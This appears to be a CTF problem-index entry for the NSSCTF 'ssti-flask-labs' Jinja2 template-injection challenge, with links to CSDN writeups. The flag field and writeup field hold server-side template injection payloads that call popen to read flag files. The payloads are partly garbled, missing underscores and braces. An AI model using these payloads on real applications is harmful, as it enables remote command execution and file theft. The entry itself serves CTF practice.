ssti-flask-labs
| ID： | 11051 |
|---|---|
| 标题： | ssti-flask-labs |
| 描述： | None |
| 类型： | SSTI |
| 网站： | NSSCTF |
| 题目链接： | https://www.nssctf.cn/problem/13 |
| 赛事： | None |
| 年度： | None |
| Flag值： | {{lipsum.globals['os'].popen('cat /app/flag').read()} |
| writeup： |
https://blog.csdn.net/2401_84009749/article/details/137661728 {{().class.base.subclasses().init.globals['popen']('cat flag').read()} https://blog.csdn.net/qing_chuan_/article/details/131921937 {%print(().class.base.subclasses().init.globals['popen']('cat flag').read())%} https://blog.csdn.net/2401_84009773/article/details/137661735 |